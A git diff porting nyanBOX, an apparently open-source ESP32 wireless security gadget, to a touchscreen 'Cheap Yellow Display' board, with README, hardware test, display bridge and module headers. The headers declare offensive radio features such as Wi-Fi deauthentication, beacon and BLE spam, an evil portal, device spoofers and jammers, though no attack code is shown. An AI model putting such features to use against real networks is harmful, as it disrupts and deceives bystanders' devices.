diff --git a/cyd-port/README.md b/cyd-port/README.md new file mode 100644 index 0000000..c28d086 --- /dev/null +++ b/cyd-port/README.md @@ -0,0 +1,47 @@ +# nyanBOX — Cheap Yellow Display (ESP32‑2432S028) port + +A port of nyanBOX to the **CYD** ("Cheap Yellow Display") ESP32‑2432S028 board — a +2.8" ILI9341 240×320 SPI TFT with an XPT2046 resistive touchscreen and a classic +ESP32‑WROOM (4 MB flash, no PSRAM). No physical buttons and no OLED, so this port +adapts the UI and input while keeping the original nyanBOX feature set intact +(all app modules build unchanged). + +Built as a new PlatformIO env — the original `nyanbox-main` / `hardware-test` envs +are untouched. Build with `pio run -e nyanbox-cyd`. + +## What changed vs. stock nyanBOX + +- **Radio pin remap** (`include/pindefs.h`): the 3× nRF24 share the CYD's SD‑card + SPI bus (SCK18 / MISO19 / MOSI23, unchanged in code) and the CE/CSN pairs are + moved to free pins — **R1 22/5, R2 27/17, R3 4/16** — because the stock pins + collide with the TFT (15=CS, 2=DC). Sacrifices the microSD slot and the RGB LED. + NeoPixel moved 14→0 (14 = TFT_SCLK). +- **Display bridge** (`include/cyd_u8g2_bridge.h`, `src/cyd_u8g2_bridge.cpp`): a + `CydU8g2` subclass keeps the 128×64 U8g2 mono full‑buffer (zero I2C traffic) and + blits it, letterboxed, onto the ILI9341 via TFT_eSPI. A build‑flag macro rewrites + the SSD1306 type so all 42 UI files compile unchanged. +- **Touch input** (`src/touch_input.cpp`, `include/touch_input.h`): bit‑banged + XPT2046 (software SPI, so it doesn't contend for HSPI=TFT / VSPI=radios). + **Pressure‑gated** (not PENIRQ, which is unreliable on the CYD). **Self‑calibrating** + — a 4‑corner tap routine on first boot auto‑detects axis swap/direction/range and + stores it to EEPROM (hold a finger at power‑up to re‑run it). `nyanDigitalRead()` + shims the five logical buttons onto touch. +- **Touch‑native menus** (`src/nyanBOX.ino`): tap a row to select, drag a left‑edge + slider to scroll, a bottom BACK/LEVEL bar — no arrow reliance. Apps auto‑switch to + a 5‑zone on‑screen D‑pad (● center exits). Menu vs. app mode is an explicit flag + toggled at the `runApp()` boundary (can't use `currentState` — `runApp()` blocks). +- **Boot robustness**: the radio‑init loop no longer hangs forever when a radio is + absent (it skips missing radios), and the backlight (GPIO21) is driven explicitly — + both were causes of a dark screen on the CYD. + +## Wiring notes (nRF24) + +3× nRF24 at PA_MAX will brown out the CYD's onboard AMS1117‑3.3. Power the radios +from the **5V header through per‑module 3.3V regulation** (socket adapters or a +≥500 mA buck) with 10–100 µF + 100 nF decoupling per module, common ground. If +`isChipConnected()` is flaky, drop the RF24 SPI clock 16 MHz→8 MHz. + +## Status + +Builds green, boots, display + touch verified on hardware. Radios pending physical +wiring per the notes above. diff --git a/cyd-port/hardware-test/nyanbox_hardware_test.cpp b/cyd-port/hardware-test/nyanbox_hardware_test.cpp new file mode 100644 index 0000000..928941d --- /dev/null +++ b/cyd-port/hardware-test/nyanbox_hardware_test.cpp @@ -0,0 +1,274 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include +#include +#include +#include "../include/pindefs.h" + +const char* VERSION = "v1.1"; + +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); +Adafruit_NeoPixel pixels(1, NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800); +RF24 radios[] = { + RF24(RADIO_CE_PIN_1, RADIO_CSN_PIN_1, 16000000), + RF24(RADIO_CE_PIN_2, RADIO_CSN_PIN_2, 16000000), + RF24(RADIO_CE_PIN_3, RADIO_CSN_PIN_3, 16000000) +}; + +bool radioResults[3] = {false, false, false}; +bool testingComplete = false; +int testPhase = 0; + +void displayTest() { + u8g2.clearBuffer(); + u8g2.drawFrame(0, 0, 128, 64); + u8g2.drawFrame(2, 2, 124, 60); + u8g2.setFont(u8g2_font_helvB12_tr); + u8g2.drawStr(20, 22, "nyanBOX"); + u8g2.setFont(u8g2_font_helvR08_tr); + u8g2.drawStr(20, 38, "HW TEST "); + u8g2.drawStr(70, 38, VERSION); + u8g2.sendBuffer(); + delay(800); + + // Full white screen + u8g2.clearBuffer(); + u8g2.drawBox(0, 0, 128, 64); + u8g2.sendBuffer(); + delay(500); + + // Simple alternating pattern + u8g2.clearBuffer(); + for (int x = 0; x < 128; x += 16) { + for (int y = 0; y < 64; y += 16) { + u8g2.drawBox(x, y, 8, 8); + u8g2.drawBox(x + 8, y + 8, 8, 8); + } + } + u8g2.sendBuffer(); + delay(500); + + // Lines test + u8g2.clearBuffer(); + u8g2.drawHLine(0, 16, 128); + u8g2.drawHLine(0, 32, 128); + u8g2.drawHLine(0, 48, 128); + u8g2.drawVLine(32, 0, 64); + u8g2.drawVLine(64, 0, 64); + u8g2.drawVLine(96, 0, 64); + u8g2.sendBuffer(); + delay(500); + + // Border and corners + u8g2.clearBuffer(); + u8g2.drawFrame(0, 0, 128, 64); + u8g2.drawFrame(2, 2, 124, 60); + u8g2.drawBox(0, 0, 10, 10); + u8g2.drawBox(118, 0, 10, 10); + u8g2.drawBox(0, 54, 10, 10); + u8g2.drawBox(118, 54, 10, 10); + u8g2.sendBuffer(); + delay(500); +} + +void setup() { + Serial.begin(115200); + delay(100); + + Serial.println(""); + Serial.println("========================================"); + Serial.print("nyanBOX Hardware QC Test "); + Serial.println(VERSION); + Serial.println("Manufacturing Quality Control"); + Serial.println("https://github.com/jbohack/nyanBOX"); + Serial.println("========================================"); + + u8g2.begin(); + pixels.begin(); + pixels.clear(); + pixels.show(); + + int buttonPins[] = {BUTTON_PIN_UP, BUTTON_PIN_DOWN, BUTTON_PIN_LEFT, BUTTON_PIN_RIGHT, BUTTON_PIN_CENTER}; + for (int pin : buttonPins) pinMode(pin, INPUT_PULLUP); + + Serial.println("Starting display test..."); + displayTest(); + + SPI.begin(); + int cePins[] = {RADIO_CE_PIN_1, RADIO_CE_PIN_2, RADIO_CE_PIN_3}; + int csnPins[] = {RADIO_CSN_PIN_1, RADIO_CSN_PIN_2, RADIO_CSN_PIN_3}; + + for (int i = 0; i < 3; i++) { + pinMode(cePins[i], OUTPUT); + pinMode(csnPins[i], OUTPUT); + digitalWrite(csnPins[i], HIGH); + digitalWrite(cePins[i], LOW); + } + delay(100); + + Serial.println(""); + Serial.println("Enabling NeoPixel RGB cycle..."); + Serial.println(""); + testPhase = 1; +} + + +void loop() { + static unsigned long lastPhaseTime = 0; + static unsigned long lastButtonCheck = 0; + static unsigned long lastNeo = 0; + static int colorStep = 0; + if (millis() - lastNeo > 5) { + lastNeo = millis(); + int r = 0, g = 0, b = 0; + int phase = (colorStep / 85) % 6; + int fade = colorStep % 85; + int intensity = (fade * 255) / 84; + + switch(phase) { + case 0: r = 255; g = intensity; break; + case 1: r = 255 - intensity; g = 255; break; + case 2: g = 255; b = intensity; break; + case 3: g = 255 - intensity; b = 255; break; + case 4: b = 255; r = intensity; break; + case 5: b = 255 - intensity; r = 255; break; + } + + pixels.setPixelColor(0, pixels.Color(r, g, b)); + pixels.show(); + colorStep = (colorStep + 1) % 510; + } + + if (!testingComplete && millis() - lastPhaseTime > 250) { + lastPhaseTime = millis(); + + int radioIndex = testPhase - 1; + if (radioIndex < 3) { + Serial.print("Starting Radio "); + Serial.print(radioIndex + 1); + Serial.println(" test..."); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_helvB12_tr); + u8g2.drawStr(10, 16, (String("RADIO ") + (radioIndex + 1) + " TEST").c_str()); + + const char* pinInfo[] = {"CE:5, CSN:17", "CE:16, CSN:4", "CE:15, CSN:2"}; + u8g2.setFont(u8g2_font_helvR08_tr); + u8g2.drawStr(10, 32, pinInfo[radioIndex]); + + radioResults[radioIndex] = radios[radioIndex].begin(); + if (radioResults[radioIndex] && radios[radioIndex].isChipConnected()) { + radios[radioIndex].setChannel(radioIndex + 1); + radios[radioIndex].setPALevel(RF24_PA_LOW); + Serial.print("Radio"); + Serial.print(radioIndex + 1); + Serial.println(": OK"); + u8g2.drawStr(10, 48, "Status: OK"); + } else { + radioResults[radioIndex] = false; + Serial.print("Radio"); + Serial.print(radioIndex + 1); + Serial.println(": FAIL"); + u8g2.drawStr(10, 48, "Status: FAIL"); + } + u8g2.sendBuffer(); + testPhase++; + + } else { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_helvB12_tr); + u8g2.drawStr(10, 15, "RESULTS"); + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) { + String result = "Radio" + String(i + 1) + ": " + (radioResults[i] ? "OK" : "FAIL"); + u8g2.drawStr(10, 28 + i * 12, result.c_str()); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(10, 62, "Press any button"); + u8g2.sendBuffer(); + Serial.println(""); + + Serial.println("==== SUMMARY ===="); + const char* pins[] = {"(CE:5, CSN:17)", "(CE:16, CSN:4)", "(CE:15, CSN:2)"}; + for (int i = 0; i < 3; i++) { + Serial.print("Radio"); + Serial.print(i + 1); + Serial.print(" "); + Serial.print(pins[i]); + Serial.println(radioResults[i] ? ": OK" : ": FAIL"); + } + Serial.println("Button test ready..."); + testingComplete = true; + } + } + + if (millis() - lastButtonCheck > 100) { + lastButtonCheck = millis(); + static bool lastButtons[5] = {false, false, false, false, false}; + const char* buttonNames[] = {"UP", "DOWN", "LEFT", "RIGHT", "CENTER"}; + const int buttonPins[] = {BUTTON_PIN_UP, BUTTON_PIN_DOWN, BUTTON_PIN_LEFT, BUTTON_PIN_RIGHT, BUTTON_PIN_CENTER}; + + for (int i = 0; i < 5; i++) { + bool pressed = !digitalRead(buttonPins[i]); + if (pressed && !lastButtons[i]) { + Serial.print("BUTTON: "); + Serial.println(buttonNames[i]); + + if (testingComplete) { + u8g2.clearBuffer(); + + switch(i) { + case 0: // UP + u8g2.drawTriangle(64, 20, 54, 35, 74, 35); + u8g2.drawBox(59, 35, 10, 15); + break; + case 1: // DOWN + u8g2.drawBox(59, 15, 10, 15); + u8g2.drawTriangle(64, 45, 54, 30, 74, 30); + break; + case 2: // LEFT + u8g2.drawTriangle(35, 32, 50, 22, 50, 42); + u8g2.drawBox(50, 27, 15, 10); + break; + case 3: // RIGHT + u8g2.drawBox(63, 27, 15, 10); + u8g2.drawTriangle(93, 32, 78, 22, 78, 42); + break; + case 4: // CENTER + u8g2.drawCircle(64, 32, 12); + u8g2.drawDisc(64, 32, 6); + break; + } + u8g2.sendBuffer(); + delay(300); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_helvB12_tr); + u8g2.drawStr(10, 15, "RESULTS"); + u8g2.setFont(u8g2_font_6x10_tr); + for (int j = 0; j < 3; j++) { + String result = "Radio" + String(j + 1) + ": " + (radioResults[j] ? "OK" : "FAIL"); + u8g2.drawStr(10, 28 + j * 12, result.c_str()); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(10, 62, "Press any button"); + u8g2.sendBuffer(); + } + } + lastButtons[i] = pressed; + } + } +} \ No newline at end of file diff --git a/cyd-port/include/about.h b/cyd-port/include/about.h new file mode 100644 index 0000000..0cf3eef --- /dev/null +++ b/cyd-port/include/about.h @@ -0,0 +1,25 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef ABOUT_H +#define ABOUT_H + +#include +#include "pindefs.h" + +#define NYANBOX_VERSION "v4.27.11" +extern const char* nyanboxVersion; + +void aboutSetup(); +void aboutLoop(); +void aboutCleanup(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/airtag_detector.h b/cyd-port/include/airtag_detector.h new file mode 100644 index 0000000..7da3cd1 --- /dev/null +++ b/cyd-port/include/airtag_detector.h @@ -0,0 +1,35 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef airtag_H +#define airtag_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +struct AirTagDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; + uint8_t payload[64]; + size_t payloadLength; + bool isAirTag; +}; + +extern std::vector airtagDevices; + +void airtagDetectorSetup(); +void airtagDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/airtag_spoofer.h b/cyd-port/include/airtag_spoofer.h new file mode 100644 index 0000000..6b50682 --- /dev/null +++ b/cyd-port/include/airtag_spoofer.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef AIRTAG_SPOOFER_H +#define AIRTAG_SPOOFER_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +void airtagSpooferSetup(); +void airtagSpooferLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/analyzer.h b/cyd-port/include/analyzer.h new file mode 100644 index 0000000..edbc5d4 --- /dev/null +++ b/cyd-port/include/analyzer.h @@ -0,0 +1,24 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef analyzer_H +#define analyzer_H + +#include +#include +#include "esp_bt.h" +#include "esp_wifi.h" +#include "neopixel.h" + +void analyzerSetup(); +void analyzerLoop(); + +#endif diff --git a/cyd-port/include/axon_detector.h b/cyd-port/include/axon_detector.h new file mode 100644 index 0000000..1c1a096 --- /dev/null +++ b/cyd-port/include/axon_detector.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef AXON_DETECTOR_H +#define AXON_DETECTOR_H + +#include +#include +#include "config.h" +#include "pindefs.h" + +void axonDetectorSetup(); +void axonDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/beacon_spam.h b/cyd-port/include/beacon_spam.h new file mode 100644 index 0000000..7a35c71 --- /dev/null +++ b/cyd-port/include/beacon_spam.h @@ -0,0 +1,24 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef BEACON_SPAM_H +#define BEACON_SPAM_H + +#include "esp_wifi.h" +#include +#include "pindefs.h" +#include +#include + +void beaconSpamSetup(); +void beaconSpamLoop(); + +#endif diff --git a/cyd-port/include/ble_inspector.h b/cyd-port/include/ble_inspector.h new file mode 100644 index 0000000..7f7df1a --- /dev/null +++ b/cyd-port/include/ble_inspector.h @@ -0,0 +1,40 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef ble_inspector_H +#define ble_inspector_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +struct BLEDevice { + char name[32]; + char address[18]; + uint8_t bdAddr[6]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + uint8_t payload[62]; + size_t payloadLength; + uint8_t scanResponse[62]; + size_t scanResponseLength; + uint8_t advType; + uint8_t addrType; +}; + +extern std::vector bleInspectorDevices; + +void bleInspectorSetup(); +void bleInspectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/ble_spammer.h b/cyd-port/include/ble_spammer.h new file mode 100644 index 0000000..02577fb --- /dev/null +++ b/cyd-port/include/ble_spammer.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef BLE_SPAM_H +#define BLE_SPAM_H + +#include + +extern bool isBleSpamming; + +void bleSpamSetup(); +void bleSpamLoop(); + +#endif diff --git a/cyd-port/include/ble_spoofer.h b/cyd-port/include/ble_spoofer.h new file mode 100644 index 0000000..fea1556 --- /dev/null +++ b/cyd-port/include/ble_spoofer.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef BLE_SPOOFER_H +#define BLE_SPOOFER_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +void bleSpooferSetup(); +void bleSpooferLoop(); + +#endif diff --git a/cyd-port/include/blescan.h b/cyd-port/include/blescan.h new file mode 100644 index 0000000..477fff1 --- /dev/null +++ b/cyd-port/include/blescan.h @@ -0,0 +1,40 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef blescan_H +#define blescan_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" + +struct BLEDeviceData { + char name[32]; + char address[18]; + uint8_t bdAddr[6]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + uint8_t payload[64]; + size_t payloadLength; + uint8_t scanResponse[64]; + size_t scanResponseLength; + uint8_t advType; + uint8_t addrType; +}; + +extern std::vector bleDevices; + +void blescanSetup(); +void blescanLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/cardskimmer_detector.h b/cyd-port/include/cardskimmer_detector.h new file mode 100644 index 0000000..7eee456 --- /dev/null +++ b/cyd-port/include/cardskimmer_detector.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef CARDSKIMMER_DETECTOR_H +#define CARDSKIMMER_DETECTOR_H + +#include +#include +#include "config.h" +#include "pindefs.h" + +void cardskimmerDetectorSetup(); +void cardskimmerDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/channel_analyzer.h b/cyd-port/include/channel_analyzer.h new file mode 100644 index 0000000..017e280 --- /dev/null +++ b/cyd-port/include/channel_analyzer.h @@ -0,0 +1,26 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef CHANNEL_MONITOR_H +#define CHANNEL_MONITOR_H + +#include +#include +#include "pindefs.h" + +void channelAnalyzerSetup(); +void channelAnalyzerLoop(); + +void drawNetworkCountView(); +void drawSignalStrengthView(); +const char* getSignalStrengthLabel(int rssi); + +#endif \ No newline at end of file diff --git a/cyd-port/include/cyd_u8g2_bridge.h b/cyd-port/include/cyd_u8g2_bridge.h new file mode 100644 index 0000000..a30e249 --- /dev/null +++ b/cyd-port/include/cyd_u8g2_bridge.h @@ -0,0 +1,79 @@ +/* + cyd_u8g2_bridge.h — nyanBOX CYD port + + Shadows the SSD1306 128x64 U8g2 object with a subclass that renders the + monochrome full-buffer onto the ESP32-2432S028 (CYD) ILI9341 TFT via + TFT_eSPI, letterboxed into a 240x120 band. The U8g2 transport callbacks are + no-ops, so begin()/setContrast()/setPowerSave() emit ZERO I2C traffic. + + Force-included into project sources only (build_src_flags: -include ...). + MUST NOT include pindefs.h (that file installs the digitalRead touch macro; + keeping it out preserves the real digitalRead/TFT SPI here). +*/ +#ifndef CYD_U8G2_BRIDGE_H +#define CYD_U8G2_BRIDGE_H + +#include +#include + +// The single ODR definition lives in src/cyd_u8g2_bridge.cpp +extern TFT_eSPI tft; + +// --- No-op U8x8 transport callbacks (return 1 = "handled", touch nothing) --- +static uint8_t cyd_u8x8_byte_noop(u8x8_t *, uint8_t, uint8_t, void *) { return 1; } +static uint8_t cyd_u8x8_gpio_noop(u8x8_t *, uint8_t, uint8_t, void *) { return 1; } + +class CydU8g2 : public U8G2 { +public: + CydU8g2(const u8g2_cb_t *rotation = U8G2_R0, uint8_t /*reset*/ = U8X8_PIN_NONE) { + // Full-buffer 128x64 SSD1306 setup, but wired to empty transport callbacks. + // This allocates the 1024-byte RAM tile buffer we render from. + u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, + cyd_u8x8_byte_noop, + cyd_u8x8_gpio_noop); + } + + // Bring up the TFT once; the U8g2 RAM buffer is already allocated. + void begin() { + // CYD backlight is on GPIO21, active-HIGH. Drive it explicitly — TFT_eSPI's + // init() does NOT turn it on in this build, so the panel stays dark ("not + // powering on") even though the ILI9341 is initialized and being written to. +#ifdef TFT_BL + pinMode(TFT_BL, OUTPUT); + digitalWrite(TFT_BL, HIGH); +#else + pinMode(21, OUTPUT); + digitalWrite(21, HIGH); +#endif + tft.init(); + tft.setRotation(0); // portrait 240x320 + tft.fillScreen(TFT_BLACK); + clearBuffer(); + // The on-screen arrow D-pad is drawn by touch_input.cpp (touchBegin/drawDpadBar). + } + + // Blit the 128x64 monochrome buffer to a 240x120 letterboxed band (y 100..219). + void sendBuffer() { + uint8_t *buf = getBufferPtr(); + if (!buf) return; + static uint16_t line[240]; + const uint16_t fg = TFT_WHITE; + const uint16_t bg = TFT_BLACK; + const int Y0 = 100; // (320 - 120) / 2 + for (int dy = 0; dy < 120; dy++) { + int sy = (dy * 64) / 120; + int page = (sy >> 3) * 128; // tile row * width + uint8_t mask = (uint8_t)(1 << (sy & 7)); + for (int dx = 0; dx < 240; dx++) { + int sx = (dx * 128) / 240; + line[dx] = (buf[page + sx] & mask) ? fg : bg; + } + tft.pushImage(0, Y0 + dy, 240, 1, line); + } + } +}; + +// Rewrite the panel type used at nyanBOX.ino:79 to our TFT-backed subclass. +#define U8G2_SSD1306_128X64_NONAME_F_HW_I2C CydU8g2 + +#endif // CYD_U8G2_BRIDGE_H diff --git a/cyd-port/include/deauth.h b/cyd-port/include/deauth.h new file mode 100644 index 0000000..3dcd21c --- /dev/null +++ b/cyd-port/include/deauth.h @@ -0,0 +1,21 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DEAUTH_H +#define DEAUTH_H + +#include +#include + +void deauthSetup(); +void deauthLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/deauth_scanner.h b/cyd-port/include/deauth_scanner.h new file mode 100644 index 0000000..c6f39d2 --- /dev/null +++ b/cyd-port/include/deauth_scanner.h @@ -0,0 +1,18 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DEAUTH_SCANNER_H +#define DEAUTH_SCANNER_H + +void deauthScannerSetup(); +void deauthScannerLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/device_scout.h b/cyd-port/include/device_scout.h new file mode 100644 index 0000000..79df9ed --- /dev/null +++ b/cyd-port/include/device_scout.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DEVICE_SCOUT_H +#define DEVICE_SCOUT_H + +#include +#include +#include "../include/pindefs.h" + +void deviceScoutSetup(); +void deviceScoutLoop(); +void cleanupDeviceScout(); + +#endif diff --git a/cyd-port/include/display_mirror.h b/cyd-port/include/display_mirror.h new file mode 100644 index 0000000..f9ae2a0 --- /dev/null +++ b/cyd-port/include/display_mirror.h @@ -0,0 +1,25 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DISPLAY_MIRROR_H +#define DISPLAY_MIRROR_H + +#include + +void displayMirrorSetup(); + +void displayMirrorSend(U8G2_SSD1306_128X64_NONAME_F_HW_I2C &display); + +void displayMirrorEnable(bool enable); + +bool displayMirrorEnabled(); + +#endif diff --git a/cyd-port/include/drone_detector.h b/cyd-port/include/drone_detector.h new file mode 100644 index 0000000..3e414a5 --- /dev/null +++ b/cyd-port/include/drone_detector.h @@ -0,0 +1,19 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DRONE_DETECTOR_H +#define DRONE_DETECTOR_H + +void droneDetectorSetup(); +void droneDetectorLoop(); +void cleanupDroneDetector(); + +#endif diff --git a/cyd-port/include/drone_spoofer.h b/cyd-port/include/drone_spoofer.h new file mode 100644 index 0000000..d55e44a --- /dev/null +++ b/cyd-port/include/drone_spoofer.h @@ -0,0 +1,19 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef DRONE_SPOOFER_H +#define DRONE_SPOOFER_H + +void droneSpooferSetup(); +void droneSpooferLoop(); +void cleanupDroneSpoofer(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/evil_portal.h b/cyd-port/include/evil_portal.h new file mode 100644 index 0000000..dd7ba1c --- /dev/null +++ b/cyd-port/include/evil_portal.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef EVIL_PORTAL_H +#define EVIL_PORTAL_H + +#include +#include +#include + +void evilPortalSetup(); +void evilPortalLoop(); +void cleanupEvilPortal(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/flipperzero_detector.h b/cyd-port/include/flipperzero_detector.h new file mode 100644 index 0000000..3263ccc --- /dev/null +++ b/cyd-port/include/flipperzero_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef flipper_H +#define flipper_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void flipperZeroDetectorSetup(); +void flipperZeroDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/flock_detector.h b/cyd-port/include/flock_detector.h new file mode 100644 index 0000000..ef8f6c9 --- /dev/null +++ b/cyd-port/include/flock_detector.h @@ -0,0 +1,23 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef FLOCK_DETECTOR_H +#define FLOCK_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void flockDetectorSetup(); +void flockDetectorLoop(); +void cleanupFlockDetector(); + +#endif diff --git a/cyd-port/include/icon.h b/cyd-port/include/icon.h new file mode 100644 index 0000000..b0e228b --- /dev/null +++ b/cyd-port/include/icon.h @@ -0,0 +1,999 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +// 'apple', 16x16px +const unsigned char bitmap_icon_apple [] PROGMEM = { + 0x00, 0x00, 0x00, 0x06, 0x00, 0x07, 0x00, 0x03, 0x00, 0x00, 0x70, 0x0e, 0xf8, 0x0f, 0xf8, 0x07, + 0xf8, 0x07, 0xf8, 0x07, 0xf8, 0x0f, 0xf8, 0x1f, 0xf0, 0x1f, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00 +}; + +// 'spoofer', 16x16px +const unsigned char bitmap_icon_spoofer [] PROGMEM = { + 0x00, 0x00, 0x40, 0x00, 0xc0, 0x00, 0xcc, 0x01, 0x5c, 0x13, 0x78, 0x32, 0xf0, 0x21, 0xe0, 0x24, + 0xe0, 0x24, 0xf0, 0x21, 0x78, 0x32, 0x5c, 0x13, 0xcc, 0x01, 0xc0, 0x00, 0x40, 0x00, 0x00, 0x00 +}; + +// 'ble jammer', 16x16px +const unsigned char bitmap_icon_ble_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x18, 0x03, 0x30, 0x05, 0x60, 0x04, 0xc0, 0x04, 0x80, 0x01, + 0x80, 0x03, 0xc0, 0x07, 0x60, 0x0d, 0x30, 0x1d, 0x10, 0x33, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00 +}; + +// 'jammer', 16x16px +const unsigned char bitmap_icon_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0xf8, 0x01, 0x80, 0x07, 0x00, 0x0e, 0x78, 0x1c, 0xf8, 0x18, + 0xc0, 0x31, 0x80, 0x31, 0x1c, 0x33, 0x3e, 0x33, 0x3e, 0x33, 